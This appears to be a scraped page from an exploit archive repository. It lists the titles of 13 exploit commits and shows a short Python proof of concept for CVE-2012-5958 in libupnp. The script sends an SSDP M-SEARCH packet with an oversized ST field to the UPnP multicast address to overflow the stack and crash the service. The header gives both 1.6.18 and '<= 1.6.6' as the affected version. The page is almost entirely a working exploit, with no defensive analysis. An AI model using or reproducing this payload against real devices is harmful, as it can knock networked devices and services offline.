673a45a464
13 changes to exploits/shellcodes libupnp 1.6.18 - Stack-based buffer overflow (DoS) SAP Lumira 1.31 - Stored Cross-Site Scripting Foxit Reader 9.0.1.1049 - Arbitrary Code Execution Wordpress Theme Wibar 1.1.8 - 'Brand Component' Stored Cross Site Scripting WonderCMS 3.1.3 - 'uploadFile' Stored Cross-Site Scripting Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution Laravel Administrator 4 - Unrestricted File Upload (Authenticated) Acronis Cyber Backup 12.5 Build 16341 - Unauthenticated SSRF Moodle 3.8 - Unrestricted File Upload Wordpress Theme Accesspress Social Icons 1.7.9 - SQL injection (Authenticated) House Rental 1.0 - 'keywords' SQL Injection ElkarBackup 1.3.3 - 'Policy[name]' and 'Policy[Description]' Stored Cross-site Scripting Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated)
18 lines
No EOL
686 B
Python
Executable file
18 lines
No EOL
686 B
Python
Executable file
# Exploit Title: libupnp 1.6.18 - Stack-based buffer overflow (DoS)
|
|
# Date: 2020-08-20
|
|
# Exploit Author: Patrik Lantz
|
|
# Vendor Homepage: https://pupnp.sourceforge.io/
|
|
# Software Link: https://sourceforge.net/projects/pupnp/files/pupnp/libUPnP%201.6.6/libupnp-1.6.6.tar.bz2/download
|
|
# Version: <= 1.6.6
|
|
# Tested on: Linux
|
|
# CVE : CVE-2012-5958
|
|
|
|
import socket
|
|
|
|
payload = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nST:uuid:schemas:device:"
|
|
payload += "A"*324 + "BBBB"
|
|
payload += ":urn:\r\nMX:2\r\nMAN:\"ssdp:discover\"\r\n\r\n"
|
|
|
|
byte_message = bytes(payload)
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
s.sendto(byte_message, ("239.255.255.250", 1900)) |